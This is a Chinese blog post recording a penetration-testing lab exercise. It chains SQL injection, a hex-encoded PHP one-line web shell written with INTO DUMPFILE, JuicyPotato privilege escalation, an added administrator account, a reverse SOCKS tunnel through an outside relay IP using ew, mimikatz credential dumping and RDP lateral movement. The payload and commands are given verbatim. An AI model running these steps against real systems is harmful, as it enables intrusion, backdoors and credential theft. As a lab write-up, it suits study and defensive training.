• 内网渗透靶场测试:(一)反向代理,互联互通


    1、探测是否有sql注入:

    (1)从ur看, 传递了id=1这个参数;这里有可能涉及到和数据库交互,为了确认是否存在sql注入,这里故意构造and 1=2这个false的条件,看看页面返回啥:

     (2)果然页面报错,说明存在sql注入,并且还有个关键信息:当前页面在C:phpStudyWWW 这个目录下;

     (3)通过order by看看当前表有多少字段:order by 2是正常的,order by 3就异常了,说明有2个字段;

     (4)接着看看页面有没有报错点,方便后续观察结果:

      发现页面一切正常;为了不让正常的页面干扰,这里故意提供一个false条件,发现第二个字段可以在页面显示;

     (5)既然确认有sql注入,这里可以尝试看看dumpfile是否开启(注意:这里是url,反斜杠有特殊的含义,需要再写一个转义)。如果开了,可以写小马;尝试后发现页面报错,

    但文件已经写进去了,下一步写小马;

     (6)先构造一个写小马的语句:and 1=2 union select 666666,<?php eval($_REQUEST[8])?> into dumpfile "C:\phpStudy\WWW\config.txt",发现文件生成失败;很有可能是一句话小马里面有尖括号、问号导致的,这里先转成16进制编码:注意,原始字符串编码的时候会去掉空格,这里自己要手动加个20;

     构造好的部分url: and 1=2 union select 666666,0x3c3f706870206576616c28245f524551554553545b385d293f3e into dumpfile "C:\phpStudy\WWW\config.txt"; 放到url执行,还是报错:

     

    但小马已经能访问到了:

     

    把写入文件的后缀改成php,重新生成config.php,这里能正常执行:

    2、小马已成,上菜刀,成功连接:

      当前用户是administrator权限,还不是system,需要提权;os是windwos server 2008 R2;

      通过systeminfo,发现打了两个补丁: [01]: KB2999226    [02]: KB976902;在提权辅助网站查询了一圈,能利用的exp还不少;

           这里为了提权方便,直接用一款叫做“JuicyPotato”的工具,github有下,直接通过菜刀复制到网站的根目录;菜刀的虚拟终端没法通过tab键补全,打字不方便,这里重命名成1.exe,方便使用;同样是whoami指令,用了juicypotato工具,提权成了system,对比如下:

       既然提权成功,这里添加一个system权限的用户:先新建用户

          再添加到管理员组:

       添加成功:

       3、用户已创建,接着想办法远程登陆就可以为所欲为的;

    (1) 靶机大概率在内网,需要主动连接我这边。但我没有公网ip,这里找个免费提供隧道的站点,申请一个隧道做反弹连接用:

     (2) 接着监听本机的6666端口,这里用另外一个工具:ew_for_win_32.exe, 执行命令:ew_for_win_32.exe -s rcsocks -l 8888 -e 6666    , 一旦在本机6666端口接收到消息,转发到8888端口;

    接着让靶机访问free.qydev.com:4965这个地址,就能中转到我的8888端口了;在靶机上,用菜刀打开终端,上传ew_for_win_32.exe,执行e.exe -s rssocks -d 47.92.102.131 -e 4965  命令,让靶机主动连接隧道中转站,在通过中转站连接到我本地;在菜刀执行,提示成功(这里注意两点:用双引号,而不是单引号; 用英文输入法):

     

    至此,靶机的反向代理终于连接到我的8888端口,真心不容易,中间来回倒腾了好几层;

     

    继续配置socket 5代理:

     

      通过菜刀的虚拟终端,查询到靶机内网ip: 10.0.1.4,浏览器能直接打开对方的主页:

       查询ip地址也是对方的:

    这次终于可以通过3389远程桌面连接上了:

     

     以这台内网机器为跳板,继续哟弄个nmap探测内部其他主机:同一个网段,还有3、6、8这3台服务器,6和8都开了3389端口,可能存在远程登陆的机会,账号是多少了?

     同一个内网,可能只有1个管理员;管理员的账号大概率是一样的,否则记不住;这里用另一款神器:猕猴桃mimikatez,直接搜索内存找账号

     

     administrator的账号都有了,重新用这个连接:

    自己创建的账号已经断开,administrator连上:

     

    刚才既然用猕猴桃在内存中找到了密码,并且8这台主机也开了3389端口,这里用管理员账号尝试,居然成功登陆:

     总结:

    1、整个过程不难,每一步的逻辑都容易理解,就是全流程很繁琐,这里整理了一下核心步骤:

     2、靶机、隧道中转站、攻击机三者的转发关系如下:靶机一般都在内网,通过路由器访问公网;攻击机也是通过路由访问公网,双方都没有独立的公网ip,只能找个隧道中转;

  • 相关阅读:
    leetcode--Different Ways to Add Parentheses
    C++调用SQLServer存储过程
    用IdHTTPServer搞个简单的WEB服务器下载文件
    php pdo调用SQLServer存储过程无法获取返回结果
    SQL Server Profiler 跟踪远程服务器的语句
    Delphi格式化函数Format、FormatDateTime和FormatFloat详解
    单独编译某个pas文件
    SQLServer OpenRowSet 导入数据
    模仿QQ气泡聊天
    升级到XE10
  • 原文地址:https://www.cnblogs.com/theseventhson/p/13583275.html
Copyright © 2020-2023  润新知